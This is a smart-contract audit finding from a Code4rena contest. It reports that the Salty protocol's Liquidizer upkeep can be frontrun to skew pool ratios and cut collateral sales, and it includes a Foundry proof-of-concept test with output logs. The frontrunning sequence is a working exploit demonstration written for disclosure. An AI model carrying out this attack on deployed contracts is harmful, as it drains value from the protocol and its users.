c4-bot-7 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/Liquidizer.sol#L139-#L141 https://github.com/code-423n4/2024-01-salty/blob/main/src/pools/PoolUtils.sol#L61

Vulnerability details

Impact

When the value of a user's collateral goes below the 110% collateral ratio of borrowed USDS, they are subject to liquidation. When liquidation occurs, the entire collateral of the user is seized and sent to the Liquidizer contract which on calling Liquidizer.performUpkeep() will sell the seized collateral for USDS and burn USDS. However, the swaps are facilitated using the PoolUtils._placeInternalSwap() function which limits the input swap amount to 1% of the pool reserves. This issue can be further amplified by an attacker when they skew the ratio of the pools which contain these input tokens that are paired with USDS. This can be achieved by frontrunning the Liquidizer.performUpkeep() function call so that the output of the swaps in this function call reduces, burning less USDS.

Proof of Concept

This is the Liquidizer.performUpkeep() function:

function performUpkeep() external
  {
  require( msg.sender == address(exchangeConfig.upkeep()), "Liquidizer.performUpkeep is only callable from the Upkeep contract" );

  uint256 maximumInternalSwapPercentTimes1000 = poolsConfig.maximumInternalSwapPercentTimes1000();

  // Swap tokens that have previously been sent to this contract for USDS
  PoolUtils._placeInternalSwap(pools, wbtc, usds, wbtc.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
  PoolUtils._placeInternalSwap(pools, weth, usds, weth.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
  PoolUtils._placeInternalSwap(pools, dai, usds, dai.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );

  // Any SALT balance seen here should just be burned so as to not put negative price pressure on SALT by swapping it to USDS
  uint256 saltBalance = salt.balanceOf(address(this));
  if ( saltBalance > 0 )
    {
    salt.safeTransfer(address(salt), saltBalance);
    salt.burnTokensInContract();
    }

  _possiblyBurnUSDS();
  }
}

and this is the PoolUtils._placeInternalSwap() function:

function _placeInternalSwap( IPools pools, IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 maximumInternalSwapPercentTimes1000 ) internal returns (uint256 swapAmountIn, uint256 swapAmountOut)
  {
  if ( amountIn == 0 )
    return (0, 0);

  (uint256 reservesIn,) = pools.getPoolReserves( tokenIn, tokenOut );

  uint256 maxAmountIn = reservesIn * maximumInternalSwapPercentTimes1000 / (100 * 1000);
  if ( amountIn > maxAmountIn )
    amountIn = maxAmountIn;

  swapAmountIn = amountIn;

  swapAmountOut = pools.depositSwapWithdraw(tokenIn, tokenOut, amountIn, 0, block.timestamp );
  }
}

As can be seen, calling Liquidizer.performUpkeep() will sell the seized collateral and also any withdrawn POL to USDS so that it can be burnt. However, this function call can be frontrun by an attacker who wants to reduce the amount of USDS that is outputted from these swaps.

Clone the github repo and run forge build then paste the following test file in /src/scenario_tests/ and run forge test --mt test_frontrunLiquidationSwapPOC -vv also run forge test --mt test_withoutFrontrunLiquidationSwapPOC -vv:

POC Test File

```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity =0.8.22; import "../dev/Deployment.sol"; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../rewards/RewardsConfig.sol"; import "../staking/StakingConfig.sol"; import "../price_feed/tests/ForcedPriceFeed.sol"; contract MockAccessManager { function walletHasAccess(address wallet) external pure returns (bool) { return wallet == wallet; } } contract MockInitialDistribution { address public bootstrapBallot; constructor(address _bootstrapBallot) { bootstrapBallot = _bootstrapBallot; } } contract FrontrunLiquidationSwapPOC is Test { using SafeERC20 for ISalt; using SafeERC20 for IERC20; IExchangeConfig public exchangeConfig; IBootstrapBallot public bootstrapBallot; IAirdrop public airdrop; IStaking public staking; IDAO public dao; ILiquidizer public liquidizer; IPoolsConfig public poolsConfig; IStakingConfig public stakingConfig; IRewardsConfig public rewardsConfig; IStableConfig public stableConfig; ISaltRewards public saltRewards; IPools public pools; MockInitialDistribution public initialDistribution; IRewardsEmitter public stakingRewardsEmitter; IRewardsEmitter public liquidityRewardsEmitter; IEmissions public emissions; ISalt public salt; IERC20 public dai; USDS public usds; IERC20 public wbtc; IERC20 public weth; CollateralAndLiquidity public collateralAndLiquidity; MockAccessManager public accessManager; IForcedPriceFeed public priceFeed1; IForcedPriceFeed public priceFeed2; IForcedPriceFeed public priceFeed3; IPriceAggregator public priceAggregator; function setUp() public { vm.startPrank(address(1)); priceFeed1 = new ForcedPriceFeed(30000 ether, 3000 ether); priceFeed2 = new ForcedPriceFeed(30100 ether, 3050 ether); priceFeed3 = new ForcedPriceFeed(30500 ether, 3010 ether); priceAggregator = new PriceAggregator(); priceAggregator.setInitialFeeds( IPriceFeed(address(priceFeed1)), IPriceFeed(address(priceFeed2)), IPriceFeed(address(priceFeed3)) ); salt = new Salt(); dai = new TestERC20("DAI", 18); weth = new TestERC20("WETH", 18); wbtc = new TestERC20("WBTC", 8); usds = new USDS(); rewardsConfig = new RewardsConfig(); poolsConfig = new PoolsConfig(); stakingConfig = new StakingConfig(); stableConfig = new StableConfig(); exchangeConfig = new ExchangeConfig( salt, wbtc, weth, dai, usds, IManagedWallet(address(0)) ); stakingRewardsEmitter = new RewardsEmitter( IStakingRewards(makeAddr("stakingRewards")), exchangeConfig, poolsConfig, IRewardsConfig(address(0)), false ); liquidityRewardsEmitter = new RewardsEmitter( IStakingRewards(makeAddr("stakingRewards")), exchangeConfig, poolsConfig, IRewardsConfig(address(0)), true ); pools = new Pools(exchangeConfig, poolsConfig); saltRewards = new SaltRewards( stakingRewardsEmitter, liquidityRewardsEmitter, exchangeConfig, rewardsConfig ); initialDistribution = new MockInitialDistribution(makeAddr("bootstrapBallot")); exchangeConfig.setContracts( dao, IUpkeep(makeAddr("upkeep")), IInitialDistribution(address(initialDistribution)), IAirdrop(address(0)), VestingWallet(payable(address(0))), VestingWallet(payable(address(0))) ); poolsConfig.whitelistPool(pools, salt, wbtc); poolsConfig.whitelistPool(pools, salt, weth); poolsConfig.whitelistPool(pools, salt, usds); poolsConfig.whitelistPool(pools, wbtc, usds); poolsConfig.whitelistPool(pools, weth, usds); poolsConfig.whitelistPool(pools, wbtc, dai); poolsConfig.whitelistPool(pools, weth, dai); poolsConfig.whitelistPool(pools, usds, dai); poolsConfig.whitelistPool(pools, wbtc, weth); liquidizer = new Liquidizer(exchangeConfig, poolsConfig); accessManager = new MockAccessManager(); exchangeConfig.setAccessManager(IAccessManager(address(accessManager))); collateralAndLiquidity = new CollateralAndLiquidity( pools, exchangeConfig, poolsConfig, stakingConfig, stableConfig, priceAggregator, liquidizer ); usds.setCollateralAndLiquidity(collateralAndLiquidity); dao = new DAO( pools, IProposals(address(0)), exchangeConfig, poolsConfig, IStakingConfig(address(0)), IRewardsConfig(address(0)), IStableConfig(address(0)), IDAOConfig(address(0)), IPriceAggregator(address(0)), liquidityRewardsEmitter, ICollateralAndLiquidity(address(collateralAndLiquidity)) ); pools.setContracts( dao, collateralAndLiquidity ); liquidizer.setContracts(collateralAndLiquidity, pools, dao); vm.stopPrank(); vm.prank(makeAddr("bootstrapBallot")); pools.startExchangeApproved(); vm.prank(address(collateralAndLiquidity)); usds.mintTo(address(1), 60_000 ether); vm.startPrank(address(1)); wbtc.approve(address(collateralAndLiquidity), 1 * 10 ** 8); weth.approve(address(collateralAndLiquidity), 100 * 10 ** 18); usds.approve(address(collateralAndLiquidity), 60_000 ether); collateralAndLiquidity.depositLiquidityAndIncreaseShare( wbtc, usds, 1 * 10 ** 8, 30_000 ether, 0, block.timestamp, false ); collateralAndLiquidity.depositLiquidityAndIncreaseShare( weth, usds, 10 * 10 ** 18, 30_000 ether, 0, block.timestamp, false ); vm.stopPrank(); vm.startPrank(address(1)); uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8; uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18; wbtc.approve( address(collateralAndLiquidity), WBTC_ADD_LIQUIDITY_AMOUNT ); weth.approve( address(collateralAndLiquidity), WETH_ADD_LIQUIDITY_AMOUNT ); collateralAndLiquidity.depositCollateralAndIncreaseShare( WBTC_ADD_LIQUIDITY_AMOUNT, WETH_ADD_LIQUIDITY_AMOUNT, 0, block.timestamp, false ); vm.stopPrank(); } function test_frontrunLiquidationSwapPOC() external { address alice = makeAddr("alice"); uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8; uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18; vm.startPrank(address(1)); wbtc.safeTransfer(alice, WBTC_ADD_LIQUIDITY_AMOUNT); weth.safeTransfer(alice, WETH_ADD_LIQUIDITY_AMOUNT); vm.stopPrank(); vm.startPrank(alice); wbtc.approve(address(collateralAndLiquidity), WBTC_ADD_LIQUIDITY_AMOUNT); weth.approve(address(collateralAndLiquidity), WETH_ADD_LIQUIDITY_AMOUNT); vm.stopPrank(); // Adding liquidity to WBTC/WETH for USDS collateral vm.prank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( WBTC_ADD_LIQUIDITY_AMOUNT, WETH_ADD_LIQUIDITY_AMOUNT, 0, block.timestamp, false ); // Borrowing USDS vm.startPrank(alice); collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(alice)); vm.stopPrank(); vm.warp(block.timestamp + 5 days); // After 5 days the price of collateral drops to liquidation levels vm.startPrank(address(1)); priceFeed1.setBTCPrice(30000 ether / 2); priceFeed2.setBTCPrice(30100 ether / 2); priceFeed3.setBTCPrice(30500 ether / 2); priceFeed1.setETHPrice(3000 ether / 2); priceFeed2.setETHPrice(3050 ether / 2); priceFeed3.setETHPrice(3010 ether / 2); vm.stopPrank(); // User is liquidated and collateral is sent to Liquidizer vm.prank(address(makeAddr("liquidator"))); collateralAndLiquidity.liquidateUser(alice); console.log("-----------------"); console.log("With frontrun"); console.log("-----------------"); console.log("WBTC balance before swap: ", wbtc.balanceOf(address(liquidizer))); console.log("WETH balance before swap: ", weth.balanceOf(address(liquidizer))); // performUpkeep is frontrun to skew the ratio of the USDS/WBTC and USDS/WETH pool and make the max swap input amount in the Liquidizer contract less vm.prank(address(collateralAndLiquidity)); usds.mintTo(makeAddr("frontrunner"), 30_000 ether); vm.startPrank(makeAddr("frontrunner")); usds.approve(address(pools), 30_000 ether); pools.depositSwapWithdraw( usds, wbtc, 15_000 ether, 0, block.timestamp ); pools.depositSwapWithdraw( usds, weth, 15_000 ether, 0, block.timestamp ); vm.stopPrank(); vm.prank(makeAddr("upkeep")); liquidizer.performUpkeep(); console.log("WBTC after before swap: ", wbtc.balanceOf(address(liquidizer))); console.log("WETH after before swap: ", weth.balanceOf(address(liquidizer))); } function test_withoutFrontrunLiquidationSwapPOC() external { address alice = makeAddr("alice"); uint256 WBTC_ADD_LIQUIDITY_AMOUNT = 1 * 10 ** 8; uint256 WETH_ADD_LIQUIDITY_AMOUNT = 100 * 10 ** 18; vm.startPrank(address(1)); wbtc.safeTransfer(alice, WBTC_ADD_LIQUIDITY_AMOUNT); weth.safeTransfer(alice, WETH_ADD_LIQUIDITY_AMOUNT); vm.stopPrank(); vm.startPrank(alice); wbtc.approve(address(collateralAndLiquidity), WBTC_ADD_LIQUIDITY_AMOUNT); weth.approve(address(collateralAndLiquidity), WETH_ADD_LIQUIDITY_AMOUNT); vm.stopPrank(); // Adding liquidity to WBTC/WETH for USDS collateral vm.prank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( WBTC_ADD_LIQUIDITY_AMOUNT, WETH_ADD_LIQUIDITY_AMOUNT, 0, block.timestamp, false ); // Borrowing USDS vm.startPrank(alice); collateralAndLiquidity.borrowUSDS(collateralAndLiquidity.maxBorrowableUSDS(alice)); vm.stopPrank(); vm.warp(block.timestamp + 5 days); // After 5 days the price of collateral drops to liquidation levels vm.startPrank(address(1)); priceFeed1.setBTCPrice(30000 ether / 2); priceFeed2.setBTCPrice(30100 ether / 2); priceFeed3.setBTCPrice(30500 ether / 2); priceFeed1.setETHPrice(3000 ether / 2); priceFeed2.setETHPrice(3050 ether / 2); priceFeed3.setETHPrice(3010 ether / 2); vm.stopPrank(); // User is liquidated and collateral is sent to Liquidizer vm.prank(address(makeAddr("liquidator"))); collateralAndLiquidity.liquidateUser(alice); console.log("-----------------"); console.log("Without frontrun"); console.log("-----------------"); console.log("WBTC balance before swap: ", wbtc.balanceOf(address(liquidizer))); console.log("WETH balance before swap: ", weth.balanceOf(address(liquidizer))); vm.prank(makeAddr("upkeep")); liquidizer.performUpkeep(); console.log("WBTC after before swap: ", wbtc.balanceOf(address(liquidizer))); console.log("WETH after before swap: ", weth.balanceOf(address(liquidizer))); } } ```

Results from the code show that:

  -----------------
  Without frontrun
  -----------------
  WBTC balance before swap:  99697474
  WETH balance before swap:  99697473907124489488
  WBTC balance after swap:  98697474
  WETH balance after swap:  99584998168599098863

Without being frontrun 99697474 - 98697474 = 1000000 WBTC (0.01 WBTC) is swapped to USDS and 99697473907124489488 - 99584998168599098863 = 112475738525390625 WETH (0.11247573852 WETH) is swapped to USDS.

  -----------------
  With frontrun
  -----------------
  WBTC balance before swap:  99697474
  WETH balance before swap:  99697473907124489488
  WBTC balance after swap:  99182162
  WETH balance after swap:  99598233638600137367

However being frontrun, 99697474 - 99182162 = 515312 WBTC (0.00515312 WBTC) is swapped to USDS and 99697473907124489488 - 99598233638600137367 = 99240268524352121 WETH (0.09924026852 WETH) is swapped to USDS.

As can be seen, there is a difference between the swap output amounts when Liquidizer.performUpkeep() is frontrun.

Tools Used

Manual Review.

Recommended Mitigation Steps

Increasing the % of the input token reserves that can be swapped when selling seized collateral is a potential mitigation.

Assessed type

Other

c4-judge commented 9 months ago

Picodes marked the issue as duplicate of #319